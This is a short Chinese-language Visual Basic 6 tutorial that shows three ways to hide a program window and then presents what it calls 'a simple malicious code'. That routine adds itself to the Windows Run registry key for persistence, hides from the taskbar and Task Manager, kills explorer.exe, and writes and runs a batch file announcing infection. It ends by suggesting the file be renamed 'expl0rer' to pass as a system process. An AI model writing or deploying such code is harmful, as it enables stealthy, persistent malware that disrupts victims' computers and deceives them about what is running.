第1种-关闭后到像迅雷一样隐藏
Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)
Cancel = True
Me.Hide
End Sub
_____________________________
第2种-直接隐藏
Form1.Visible = False
_____________________________

第3种-在任务管理器应用程序中隐藏
App.TaskVisible = False

_____________________________

于是就可以编写一个简单的恶意代码

Private Sub Form_Load

Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"      '导入注册表,实现开机自动运行

Form1.Visible = False

App.Taskvisible = False

Shell "taskkill /f /im explorer.exe ", vbHide   '结束explorer.exe进程

Open "c:\windows\$$$.bat" for Append As #1
Print #1 , "@echo off"
Print #1 , "echo 恭喜你中毒"
Print #1 , "echo. & pause"
close #1
x = shell("c:\windows\$$$.bat")

.......  '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等
End Sub
